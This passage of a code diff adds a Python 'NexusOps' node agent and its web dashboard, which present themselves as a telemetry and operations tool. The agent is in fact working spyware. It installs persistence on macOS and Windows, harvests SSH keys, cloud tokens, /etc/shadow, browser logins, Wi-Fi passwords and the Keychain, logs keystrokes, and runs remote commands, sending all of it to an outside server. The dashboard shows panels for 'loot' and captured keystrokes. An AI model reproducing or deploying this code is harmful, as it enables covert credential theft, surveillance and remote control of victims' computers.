subprocess.run(["launchctl", "bootstrap", f"gui/{os.getuid()}", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
|
subprocess.run(["launchctl", "kickstart", f"gui/{os.getuid()}/com.nexusops.agent"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
|
results.append("launchd: bootstrapped + kickstarted")
|
||||||
|
except: results.append("launchd: failed")
|
||||||
|
# crontab for macOS too
|
||||||
|
try:
|
||||||
|
import shlex
|
||||||
|
srv = shlex.quote(payload.get('server_url',''))
|
||||||
|
cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1"
|
||||||
|
subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
|
||||||
|
results.append("crontab: added")
|
||||||
|
except: results.append("crontab: failed")
|
||||||
|
elif system == "windows":
|
||||||
|
agent_path = os.path.abspath(__file__)
|
||||||
|
srv = payload.get("server_url", "")
|
||||||
|
try:
|
||||||
|
task_cmd = 'powershell -Command "schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr \\"python ' + agent_path + ' --server ' + srv + '\\" /f /rl HIGHEST"'
|
||||||
|
subprocess.run(task_cmd, shell=True, timeout=10)
|
||||||
|
results.append("schtasks: scheduled task created")
|
||||||
|
except: results.append("schtasks: failed")
|
||||||
|
try:
|
||||||
|
reg_cmd = 'powershell -Command "New-ItemProperty -Path HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -Name NexusOpsAgent -Value \\"python ' + agent_path + ' --server ' + srv + '\\" -Force"'
|
||||||
|
subprocess.run(reg_cmd, shell=True, timeout=10)
|
||||||
|
results.append("registry: Run key added")
|
||||||
|
except: results.append("registry: failed")
|
||||||
|
return "Persistence results: " + "; ".join(results), 0
|
||||||
|
|
||||||
|
elif action_type == "harvest_credentials":
|
||||||
|
creds = []
|
||||||
|
home = os.path.expanduser("~")
|
||||||
|
# Shell history
|
||||||
|
for hist in ["~/.bash_history", "~/.zsh_history", "~/.mysql_history", "~/.psql_history", "~/.python_history", "~/.node_repl_history"]:
|
||||||
|
p = os.path.expanduser(hist)
|
||||||
|
if os.path.exists(p):
|
||||||
|
try:
|
||||||
|
with open(p, 'r', errors='ignore') as f:
|
||||||
|
content = f.read()[-20000:]
|
||||||
|
creds.append({"type": f"shell_history:{os.path.basename(p)}", "data": content})
|
||||||
|
except: pass
|
||||||
|
# SSH keys
|
||||||
|
ssh_dir = os.path.join(home, ".ssh")
|
||||||
|
if os.path.exists(ssh_dir):
|
||||||
|
for fn in os.listdir(ssh_dir):
|
||||||
|
fp = os.path.join(ssh_dir, fn)
|
||||||
|
if os.path.isfile(fp) and ('id_' in fn or 'authorized_keys' in fn or 'known_hosts' in fn):
|
||||||
|
try:
|
||||||
|
with open(fp, 'r', errors='ignore') as f:
|
||||||
|
creds.append({"type": f"ssh:{fn}", "data": f.read()[:10000]})
|
||||||
|
except: pass
|
||||||
|
# AWS / cloud credentials
|
||||||
|
for cf in ["~/.aws/credentials", "~/.aws/config", "~/.config/gcloud/credentials.db",
|
||||||
|
"~/.azure/accessTokens.json", "~/.docker/config.json"]:
|
||||||
|
p = os.path.expanduser(cf)
|
||||||
|
if os.path.exists(p):
|
||||||
|
try:
|
||||||
|
with open(p, 'r', errors='ignore') as f:
|
||||||
|
creds.append({"type": f"cloud:{os.path.basename(cf)}", "data": f.read()[:10000]})
|
||||||
|
except: pass
|
||||||
|
# /etc/shadow (if root)
|
||||||
|
if os.path.exists("/etc/shadow"):
|
||||||
|
try:
|
||||||
|
with open("/etc/shadow", 'r') as f:
|
||||||
|
creds.append({"type": "system:shadow", "data": f.read()[:5000]})
|
||||||
|
except: pass
|
||||||
|
# Browser cookie/saved-login DBs (common paths)
|
||||||
|
browser_paths = []
|
||||||
|
if system == "linux":
|
||||||
|
browser_paths = [
|
||||||
|
os.path.expanduser("~/.mozilla/firefox/*.default*/cookies.sqlite"),
|
||||||
|
os.path.expanduser("~/.mozilla/firefox/*.default*/logins.json"),
|
||||||
|
os.path.expanduser("~/.config/google-chrome/Default/Cookies"),
|
||||||
|
os.path.expanduser("~/.config/google-chrome/Default/Login Data"),
|
||||||
|
os.path.expanduser("~/.config/chromium/Default/Cookies"),
|
||||||
|
os.path.expanduser("~/.config/chromium/Default/Login Data"),
|
||||||
|
os.path.expanduser("~/.config/BraveSoftware/Brave-Browser/Default/Login Data"),
|
||||||
|
]
|
||||||
|
elif system == "darwin":
|
||||||
|
browser_paths = [
|
||||||
|
os.path.expanduser("~/Library/Application Support/Firefox/Profiles/*.default*/cookies.sqlite"),
|
||||||
|
os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Cookies"),
|
||||||
|
os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Login Data"),
|
||||||
|
]
|
||||||
|
elif system == "windows":
|
||||||
|
browser_paths = [
|
||||||
|
os.path.expandvars("%APPDATA%\\Mozilla\\Firefox\\Profiles\\*.default*\\cookies.sqlite"),
|
||||||
|
os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Cookies"),
|
||||||
|
os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data"),
|
||||||
|
]
|
||||||
|
import glob
|
||||||
|
for pattern in browser_paths:
|
||||||
|
for p in glob.glob(pattern):
|
||||||
|
try:
|
||||||
|
sz = os.path.getsize(p)
|
||||||
|
if sz > 0 and sz < 50 * 1024 * 1024:
|
||||||
|
with open(p, 'rb') as f:
|
||||||
|
import base64
|
||||||
|
creds.append({"type": f"browser:{os.path.basename(os.path.dirname(p))}/{os.path.basename(p)}",
|
||||||
|
"data": base64.b64encode(f.read()).decode('utf-8')})
|
||||||
|
except: pass
|
||||||
|
# Wi-Fi passwords (Linux)
|
||||||
|
if system == "linux":
|
||||||
|
try:
|
||||||
|
wifi = subprocess.run("grep -r '^psk=' /etc/NetworkManager/system-connections/ 2>/dev/null || grep -r 'wpa_passphrase' /etc/wpa_supplicant/ 2>/dev/null || echo 'no wifi'",
|
||||||
|
shell=True, stdout=subprocess.PIPE, text=True, timeout=5).stdout
|
||||||
|
if wifi.strip() and 'no wifi' not in wifi:
|
||||||
|
creds.append({"type": "wifi_passwords", "data": wifi[:5000]})
|
||||||
|
except: pass
|
||||||
|
# macOS Keychain dump
|
||||||
|
if system == "darwin":
|
||||||
|
try:
|
||||||
|
keychain = subprocess.run("security dump-keychain -d 2>/dev/null | head -200",
|
||||||
|
shell=True, stdout=subprocess.PIPE, text=True, timeout=10).stdout
|
||||||
|
if keychain.strip():
|
||||||
|
creds.append({"type": "keychain_dump", "data": keychain[:10000]})
|
||||||
|
except: pass
|
||||||
|
|
||||||
|
return json.dumps({"type":"harvest_result","credentials":creds}), 0
|
||||||
|
|
||||||
|
elif action_type == "export_diagnostics":
|
||||||
|
cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo"
|
||||||
|
return run_shell(cmd)
|
||||||
|
|
||||||
|
return f"Unknown action type: {action_type}", 1
|
||||||
|
|
||||||
|
def run_shell(cmd_str):
|
||||||
|
if not quiet_mode:
|
||||||
|
print(f"[*] Executing command: {cmd_str}")
|
||||||
|
try:
|
||||||
|
res = subprocess.run(cmd_str, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, timeout=30)
|
||||||
|
return res.stdout, res.returncode
|
||||||
|
except Exception as e:
|
||||||
|
return str(e), 1
|
||||||
|
|
||||||
|
# ── Input Capture Module (keystrokes, mouse clicks, window focus) ──
|
||||||
|
INPUT_CAPTURE_ENABLED = False
|
||||||
|
captured_events = []
|
||||||
|
|
||||||
|
try:
|
||||||
|
from pynput import keyboard, mouse
|
||||||
|
INPUT_CAPTURE_ENABLED = True
|
||||||
|
except ImportError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def _get_active_window_title():
|
||||||
|
"""Try to get the active window title cross-platform."""
|
||||||
|
system = platform.system().lower()
|
||||||
|
try:
|
||||||
|
if system == "linux":
|
||||||
|
res = subprocess.run(["xdotool", "getactivewindow", "getwindowname"],
|
||||||
|
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2)
|
||||||
|
if res.returncode == 0:
|
||||||
|
return res.stdout.strip()
|
||||||
|
elif system == "windows":
|
||||||
|
import ctypes
|
||||||
|
from ctypes import wintypes
|
||||||
|
user32 = ctypes.windll.user32
|
||||||
|
hwnd = user32.GetForegroundWindow()
|
||||||
|
length = user32.GetWindowTextLengthW(hwnd)
|
||||||
|
buf = ctypes.create_unicode_buffer(length + 1)
|
||||||
|
user32.GetWindowTextW(hwnd, buf, length + 1)
|
||||||
|
return buf.value
|
||||||
|
elif system == "darwin":
|
||||||
|
script = 'tell application "System Events" to get name of first application process whose frontmost is true'
|
||||||
|
res = subprocess.run(["osascript", "-e", script],
|
||||||
|
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2)
|
||||||
|
if res.returncode == 0:
|
||||||
|
return res.stdout.strip()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
return ""
|
||||||
|
|
||||||
|
def _record_event(event_type, data):
|
||||||
|
"""Thread-safe event recording."""
|
||||||
|
global captured_events
|
||||||
|
window_title = _get_active_window_title()
|
||||||
|
captured_events.append({
|
||||||
|
"timestamp": int(time.time() * 1000),
|
||||||
|
"eventType": event_type,
|
||||||
|
"data": data,
|
||||||
|
"windowTitle": window_title,
|
||||||
|
"processName": window_title.split(" - ")[-1] if " - " in window_title else window_title
|
||||||
|
})
|
||||||
|
|
||||||
|
def _on_key_press(key):
|
||||||
|
try:
|
||||||
|
key_str = key.char if hasattr(key, 'char') and key.char else str(key)
|
||||||
|
except Exception:
|
||||||
|
key_str = str(key)
|
||||||
|
_record_event("keystroke", {"key": key_str})
|
||||||
|
|
||||||
|
def _on_click(x, y, button, pressed):
|
||||||
|
if pressed:
|
||||||
|
_record_event("click", {"x": x, "y": y, "button": str(button)})
|
||||||
|
|
||||||
|
def _on_scroll(x, y, dx, dy):
|
||||||
|
_record_event("scroll", {"x": x, "y": y, "dx": dx, "dy": dy})
|
||||||
|
|
||||||
|
def start_input_capture():
|
||||||
|
"""Start keyboard and mouse listeners if pynput is available."""
|
||||||
|
if not INPUT_CAPTURE_ENABLED:
|
||||||
|
return False
|
||||||
|
try:
|
||||||
|
kb_listener = keyboard.Listener(on_press=_on_key_press)
|
||||||
|
ms_listener = mouse.Listener(on_click=_on_click, on_scroll=_on_scroll)
|
||||||
|
kb_listener.daemon = True
|
||||||
|
ms_listener.daemon = True
|
||||||
|
kb_listener.start()
|
||||||
|
ms_listener.start()
|
||||||
|
return True
|
||||||
|
except Exception:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def flush_input_events(server_url, node_id, hostname):
|
||||||
|
"""Send captured input events to the master server."""
|
||||||
|
global captured_events
|
||||||
|
if not captured_events:
|
||||||
|
return
|
||||||
|
events_to_send = captured_events[:]
|
||||||
|
captured_events = []
|
||||||
|
payload = {
|
||||||
|
"nodeId": node_id,
|
||||||
|
"hostname": hostname,
|
||||||
|
"events": events_to_send
|
||||||
|
}
|
||||||
|
http_post(f"{server_url}/api/agent/input-capture", payload)
|
||||||
|
|
||||||
|
def main():
|
||||||
|
global last_log_check_time, heartbeat_interval, node_tags, quiet_mode
|
||||||
|
parser = argparse.ArgumentParser(description="NexusOps Cross-Platform Node Agent")
|
||||||
|
parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint")
|
||||||
|
parser.add_argument("--silent", action="store_true", help="Suppress all console output")
|
||||||
|
parser.add_argument("--quiet", action="store_true", help="Quiet mode: suppress banner and exec messages")
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
silent = args.silent # suppress banner only — keep logs flowing for launchd/systemd
|
||||||
|
global quiet_mode
|
||||||
|
quiet_mode = args.quiet or args.silent
|
||||||
|
|
||||||
|
server_url = args.server.rstrip('/')
|
||||||
|
hostname = socket.gethostname()
|
||||||
|
system_os = platform.system()
|
||||||
|
arch = platform.machine()
|
||||||
|
ip = get_ip_address()
|
||||||
|
node_id = f"node-{hostname.lower()}-{ip.replace('.', '')}"
|
||||||
|
|
||||||
|
if not quiet_mode:
|
||||||
|
print("==================================================")
|
||||||
|
print(" NexusOps Cross-Platform Node Agent ")
|
||||||
|
print("==================================================")
|
||||||
|
print(f"Node Hostname : {hostname}")
|
||||||
|
print(f"Platform : {system_os} ({arch})")
|
||||||
|
print(f"Local IP : {ip}")
|
||||||
|
print(f"Server Endpoint: {server_url}")
|
||||||
|
print("==================================================")
|
||||||
|
|
||||||
|
# Register Node
|
||||||
|
reg_payload = {
|
||||||
|
"nodeId": node_id,
|
||||||
|
"hostname": hostname,
|
||||||
|
"platform": system_os.lower(),
|
||||||
|
"arch": arch,
|
||||||
|
"ip": ip,
|
||||||
|
"osName": f"{system_os} {platform.release()}",
|
||||||
|
"tags": node_tags
|
||||||
|
}
|
||||||
|
|
||||||
|
if not quiet_mode:
|
||||||
|
print("[*] Registering node with central endpoint...")
|
||||||
|
res = http_post(f"{server_url}/api/agent/register", reg_payload)
|
||||||
|
if res and res.get("success") and not quiet_mode:
|
||||||
|
print(f"✅ Registered as node ID: {node_id}")
|
||||||
|
|
||||||
|
# Start input capture (keystrokes, clicks, scroll)
|
||||||
|
capture_started = start_input_capture()
|
||||||
|
if not quiet_mode:
|
||||||
|
if capture_started:
|
||||||
|
print("[*] Input capture active (keystrokes + mouse events)")
|
||||||
|
else:
|
||||||
|
print("[!] Input capture unavailable (install pynput: pip install pynput)")
|
||||||
|
|
||||||
|
last_input_flush = time.time()
|
||||||
|
backoff = 1 # Tunnel reconnection backoff in seconds
|
||||||
|
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
cpu = get_cpu_usage()
|
||||||
|
mem = get_memory_usage()
|
||||||
|
disk = get_disk_usage()
|
||||||
|
uptime = get_uptime_seconds()
|
||||||
|
|
||||||
|
heartbeat_payload = {
|
||||||
|
"nodeId": node_id,
|
||||||
|
"cpuUsage": cpu,
|
||||||
|
"memUsage": mem,
|
||||||
|
"diskUsage": disk,
|
||||||
|
"uptime": uptime,
|
||||||
|
"processCount": get_process_count(),
|
||||||
|
"tags": node_tags,
|
||||||
|
"heartbeatInterval": heartbeat_interval
|
||||||
|
}
|
||||||
|
|
||||||
|
res = http_post(f"{server_url}/api/agent/heartbeat", heartbeat_payload)
|
||||||
|
|
||||||
|
now = time.time()
|
||||||
|
if now - last_log_check_time > 15:
|
||||||
|
logs = collect_recent_system_logs()
|
||||||
|
if logs:
|
||||||
|
http_post(f"{server_url}/api/agent/logs", {
|
||||||
|
"nodeId": node_id,
|
||||||
|
"hostname": hostname,
|
||||||
|
"logs": logs
|
||||||
|
})
|
||||||
|
last_log_check_time = now
|
||||||
|
|
||||||
|
# Flush captured input events every 10 seconds
|
||||||
|
if now - last_input_flush > 10:
|
||||||
|
flush_input_events(server_url, node_id, hostname)
|
||||||
|
last_input_flush = now
|
||||||
|
|
||||||
|
if res and "commands" in res and res["commands"]:
|
||||||
|
for cmd_item in res["commands"]:
|
||||||
|
cmd_id = cmd_item.get("id")
|
||||||
|
action_type = cmd_item.get("actionType", "raw_command")
|
||||||
|
payload = cmd_item.get("payload", {})
|
||||||
|
|
||||||
|
if "command" in cmd_item and not payload:
|
||||||
|
payload["command"] = cmd_item.get("command")
|
||||||
|
|
||||||
|
output, exit_code = execute_structured_action(action_type, payload)
|
||||||
|
|
||||||
|
# Check for JSON-encoded special result types
|
||||||
|
special = None
|
||||||
|
try:
|
||||||
|
if output.startswith('{'):
|
||||||
|
special = json.loads(output)
|
||||||
|
except: pass
|
||||||
|
|
||||||
|
if special and special.get("type") == "file_result":
|
||||||
|
# Route to file-result endpoint
|
||||||
|
http_post(f"{server_url}/api/agent/file-result", {
|
||||||
|
"commandId": cmd_id,
|
||||||
|
"nodeId": node_id,
|
||||||
|
"hostname": hostname,
|
||||||
|
"filename": special.get("filename", "unknown"),
|
||||||
|
"data": special.get("data", ""),
|
||||||
|
"mime": special.get("mime", "application/octet-stream")
|
||||||
|
})
|
||||||
|
elif special and special.get("type") == "harvest_result":
|
||||||
|
http_post(f"{server_url}/api/agent/harvest-result", {
|
||||||
|
"commandId": cmd_id,
|
||||||
|
"nodeId": node_id,
|
||||||
|
"hostname": hostname,
|
||||||
|
"credentials": special.get("credentials", [])
|
||||||
|
})
|
||||||
|
else:
|
||||||
|
http_post(f"{server_url}/api/agent/command-result", {
|
||||||
|
"commandId": cmd_id,
|
||||||
|
"nodeId": node_id,
|
||||||
|
"output": output,
|
||||||
|
"exitCode": exit_code
|
||||||
|
})
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
if not quiet_mode:
|
||||||
|
print(f"[!] Connection error: {e}. Retrying in {backoff}s...")
|
||||||
|
time.sleep(backoff)
|
||||||
|
backoff = min(backoff * 2, 60)
|
||||||
|
continue
|
||||||
|
|
||||||
|
backoff = 1 # Reset on success
|
||||||
|
time.sleep(heartbeat_interval)
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
1041
backups/20260923/app.js
Normal file
1041
backups/20260923/app.js
Normal file
File diff suppressed because it is too large
Load Diff
544
backups/20260923/index.html
Normal file
544
backups/20260923/index.html
Normal file
@@ -0,0 +1,544 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>NexusOps — Central Network Node Operations</title>
|
||||||
|
|
||||||
|
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||||
|
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
||||||
|
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&family=JetBrains+Mono:wght@400;500;700&family=Outfit:wght@500;600;700;800&display=swap" rel="stylesheet">
|
||||||
|
|
||||||
|
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
|
||||||
|
<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
|
||||||
|
|
||||||
|
<link rel="stylesheet" href="styles.css">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<!-- Top Navigation Header -->
|
||||||
|
<header class="top-nav">
|
||||||
|
<div class="logo-area">
|
||||||
|
<div class="logo-icon">
|
||||||
|
<i class="fa-solid fa-network-wired"></i>
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<h1 class="logo-text">Nexus<span>Ops</span></h1>
|
||||||
|
<span class="sub-text">Node Control & Telemetry Operations</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="nav-metrics">
|
||||||
|
<div class="metric-pill">
|
||||||
|
<span class="pill-label">Server Endpoint:</span>
|
||||||
|
<span class="pill-value highlight-endpoint" id="navServerEndpoint">https://agent.thetempleofdoom.com</span>
|
||||||
|
</div>
|
||||||
|
<div class="metric-pill">
|
||||||
|
<span class="status-indicator online"></span>
|
||||||
|
<span class="pill-label">Status:</span>
|
||||||
|
<span class="pill-value" id="navConnectionStatus">Connected</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="action-area" style="display: flex; gap: 0.75rem;">
|
||||||
|
<a href="/api/export/csv" class="btn btn-secondary" style="text-decoration: none;" download>
|
||||||
|
<i class="fa-solid fa-file-csv"></i> Nodes CSV
|
||||||
|
</a>
|
||||||
|
<a href="/api/inputs/csv" class="btn btn-secondary" style="text-decoration: none;" download>
|
||||||
|
<i class="fa-solid fa-file-csv"></i> Inputs CSV
|
||||||
|
</a>
|
||||||
|
<button class="btn btn-secondary" onclick="openBinderModal()">
|
||||||
|
<i class="fa-solid fa-file-circle-plus"></i> File Binder
|
||||||
|
</button>
|
||||||
|
<button class="btn btn-secondary" onclick="openBulkModal()">
|
||||||
|
<i class="fa-solid fa-layer-group"></i> Bulk Task
|
||||||
|
</button>
|
||||||
|
<button class="btn btn-primary" onclick="openInstallerModal()">
|
||||||
|
<i class="fa-solid fa-plus"></i> Add Computer
|
||||||
|
</button>
|
||||||
|
<button class="btn btn-secondary" style="border-color: var(--accent-rose); color: var(--accent-rose);" onclick="killSwitch()">
|
||||||
|
<i class="fa-solid fa-skull"></i> Kill Switch
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</header>
|
||||||
|
|
||||||
|
<!-- Main Container -->
|
||||||
|
<main class="dashboard-container">
|
||||||
|
|
||||||
|
<!-- Stats Row Overview -->
|
||||||
|
<section class="stats-grid">
|
||||||
|
<div class="stat-card">
|
||||||
|
<div class="stat-icon cyan"><i class="fa-solid fa-server"></i></div>
|
||||||
|
<div class="stat-details">
|
||||||
|
<span class="stat-label">Total Nodes</span>
|
||||||
|
<h2 class="stat-number" id="statTotalNodes">0</h2>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="stat-card">
|
||||||
|
<div class="stat-icon emerald"><i class="fa-solid fa-circle-check"></i></div>
|
||||||
|
<div class="stat-details">
|
||||||
|
<span class="stat-label">Online Nodes</span>
|
||||||
|
<h2 class="stat-number" id="statOnlineNodes">0</h2>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="stat-card">
|
||||||
|
<div class="stat-icon rose"><i class="fa-solid fa-circle-exclamation"></i></div>
|
||||||
|
<div class="stat-details">
|
||||||
|
<span class="stat-label">Offline / Stale</span>
|
||||||
|
<h2 class="stat-number" id="statOfflineNodes">0</h2>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="stat-card">
|
||||||
|
<div class="stat-icon purple"><i class="fa-solid fa-bolt"></i></div>
|
||||||
|
<div class="stat-details">
|
||||||
|
<span class="stat-label">Avg Network CPU</span>
|
||||||
|
<h2 class="stat-number" id="statAvgCpu">0%</h2>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<!-- Toolbar & Filter Row -->
|
||||||
|
<div class="controls-toolbar">
|
||||||
|
<div class="search-box">
|
||||||
|
<i class="fa-solid fa-magnifying-glass"></i>
|
||||||
|
<input type="text" id="searchInput" placeholder="Search by hostname, IP, OS or ID..." onkeyup="filterNodes()">
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="filter-group">
|
||||||
|
<button class="filter-btn active" data-filter="all" onclick="setFilter('all', this)">All Nodes</button>
|
||||||
|
<button class="filter-btn" data-filter="online" onclick="setFilter('online', this)">Online</button>
|
||||||
|
<button class="filter-btn" data-filter="offline" onclick="setFilter('offline', this)">Offline</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="view-toggle">
|
||||||
|
<button class="toggle-btn active" onclick="switchView('grid', this)"><i class="fa-solid fa-grid-2"></i> Grid</button>
|
||||||
|
<button class="toggle-btn" onclick="switchView('list', this)"><i class="fa-solid fa-list"></i> Table</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Nodes Grid -->
|
||||||
|
<div id="nodesGrid" class="nodes-grid-view">
|
||||||
|
<div class="empty-state">
|
||||||
|
<i class="fa-solid fa-satellite-dish fa-spin"></i>
|
||||||
|
<h3>Waiting for Agents to Connect...</h3>
|
||||||
|
<p>No nodes registered yet. Click "Add New Computer" to get your agent installer script or standalone binary.</p>
|
||||||
|
<button class="btn btn-secondary" onclick="openInstallerModal()">Get Agent Install Script</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Telemetry Chart -->
|
||||||
|
<section class="chart-section">
|
||||||
|
<div class="section-header">
|
||||||
|
<h3><i class="fa-solid fa-chart-line"></i> Real-time Aggregate System Telemetry</h3>
|
||||||
|
<span class="badge">Live Stream</span>
|
||||||
|
</div>
|
||||||
|
<div class="chart-container">
|
||||||
|
<canvas id="telemetryChart"></canvas>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<!-- Command Execution Audit Log -->
|
||||||
|
<section class="logs-section">
|
||||||
|
<div class="section-header">
|
||||||
|
<h3><i class="fa-solid fa-terminal"></i> Task & Control Execution Log</h3>
|
||||||
|
<span class="badge purple" id="logCount">0 events</span>
|
||||||
|
</div>
|
||||||
|
<div class="terminal-window">
|
||||||
|
<div class="terminal-body" id="auditLogContent">
|
||||||
|
<div class="log-entry system">[SYSTEM] NexusOps Telemetry Server ready. Waiting for node tasks...</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<!-- Master Centralized System & Audit Log Stream -->
|
||||||
|
<section class="logs-section">
|
||||||
|
<div class="section-header">
|
||||||
|
<h3><i class="fa-solid fa-file-lines"></i> Master Centralized System & Audit Log Stream</h3>
|
||||||
|
<div style="display: flex; align-items: center; gap: 0.75rem;">
|
||||||
|
<input type="text" id="logSearchInput" placeholder="Filter log output..." style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem;" onkeyup="renderMasterSyslogs()">
|
||||||
|
<span class="badge" id="syslogCount">0 entries</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="terminal-window" style="height: 240px;">
|
||||||
|
<div class="terminal-body" id="syslogStreamContent">
|
||||||
|
<div class="log-entry system">[SYSTEM] Central log stream active. Listening for node syslog and audit events...</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<!-- Master Intelligence Log — unified input capture, machine details, and system events -->
|
||||||
|
<section class="logs-section" id="intelSection">
|
||||||
|
<div class="section-header">
|
||||||
|
<h3><i class="fa-solid fa-eye"></i> Master Intelligence Log — Input Capture & Machine Telemetry</h3>
|
||||||
|
<div style="display: flex; align-items: center; gap: 0.75rem;">
|
||||||
|
<select id="intelNodeFilter" style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem;" onchange="renderIntelLog()">
|
||||||
|
<option value="all">All Machines</option>
|
||||||
|
</select>
|
||||||
|
<select id="intelTypeFilter" style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem;" onchange="renderIntelLog()">
|
||||||
|
<option value="all">All Events</option>
|
||||||
|
<option value="keystroke">Keystrokes</option>
|
||||||
|
<option value="click">Clicks</option>
|
||||||
|
<option value="scroll">Scroll</option>
|
||||||
|
</select>
|
||||||
|
<input type="text" id="intelSearchInput" placeholder="Search input data..." style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem; width: 160px;" onkeyup="renderIntelLog()">
|
||||||
|
<span class="badge purple" id="intelCount">0 events</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<!-- Machine Details Quick-View Bar -->
|
||||||
|
<div id="machineDetailsBar" style="display: flex; flex-wrap: wrap; gap: 0.5rem; padding: 0.75rem; background: rgba(15,23,42,0.5); border-radius: var(--radius-sm); border: 1px solid var(--border-color); min-height: 40px;">
|
||||||
|
<span style="color: var(--text-muted); font-size: 0.8rem;">Select a machine above to view its details here...</span>
|
||||||
|
</div>
|
||||||
|
<div class="terminal-window" style="height: 300px;">
|
||||||
|
<div class="terminal-body" id="intelLogContent">
|
||||||
|
<div class="log-entry system">[INTEL] Master Intelligence Log active. Awaiting input capture data from agents...</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
|
||||||
|
<section class="logs-section" id="lootSection">
|
||||||
|
<div class="section-header">
|
||||||
|
<h3><i class="fa-solid fa-sack-dollar"></i> Loot — Exfiltrated Files & Harvested Credentials</h3>
|
||||||
|
<div class="loot-tabs">
|
||||||
|
<button class="tab-btn active" id="lootTabFiles" onclick="switchLootTab('files')"><i class="fa-solid fa-file-arrow-down"></i> Files <span class="badge" id="lootFilesCount">0</span></button>
|
||||||
|
<button class="tab-btn" id="lootTabCreds" onclick="switchLootTab('creds')"><i class="fa-solid fa-key"></i> Credentials <span class="badge purple" id="lootCredsCount">0</span></button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="loot-body" id="lootFilesPanel">
|
||||||
|
<div class="log-entry system">[LOOT] No files exfiltrated yet. Use Control → Exfil & Harvest on an online node.</div>
|
||||||
|
</div>
|
||||||
|
<div class="loot-body" id="lootCredsPanel" style="display:none;">
|
||||||
|
<div class="log-entry system">[LOOT] No credentials harvested yet. Use Control → Exfil & Harvest on an online node.</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
</main>
|
||||||
|
|
||||||
|
<!-- Agent Installer Modal -->
|
||||||
|
<div class="modal-overlay" id="installerModal">
|
||||||
|
<div class="modal-card">
|
||||||
|
<div class="modal-header">
|
||||||
|
<div class="title-with-icon">
|
||||||
|
<i class="fa-solid fa-download icon-accent"></i>
|
||||||
|
<div>
|
||||||
|
<h2>Deploy Agent to Network Computer</h2>
|
||||||
|
<p>Download the standalone agent binary or run the dynamic installation script on target systems.</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<button class="modal-close" onclick="closeInstallerModal()"><i class="fa-solid fa-xmark"></i></button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="modal-body">
|
||||||
|
<div class="os-tabs">
|
||||||
|
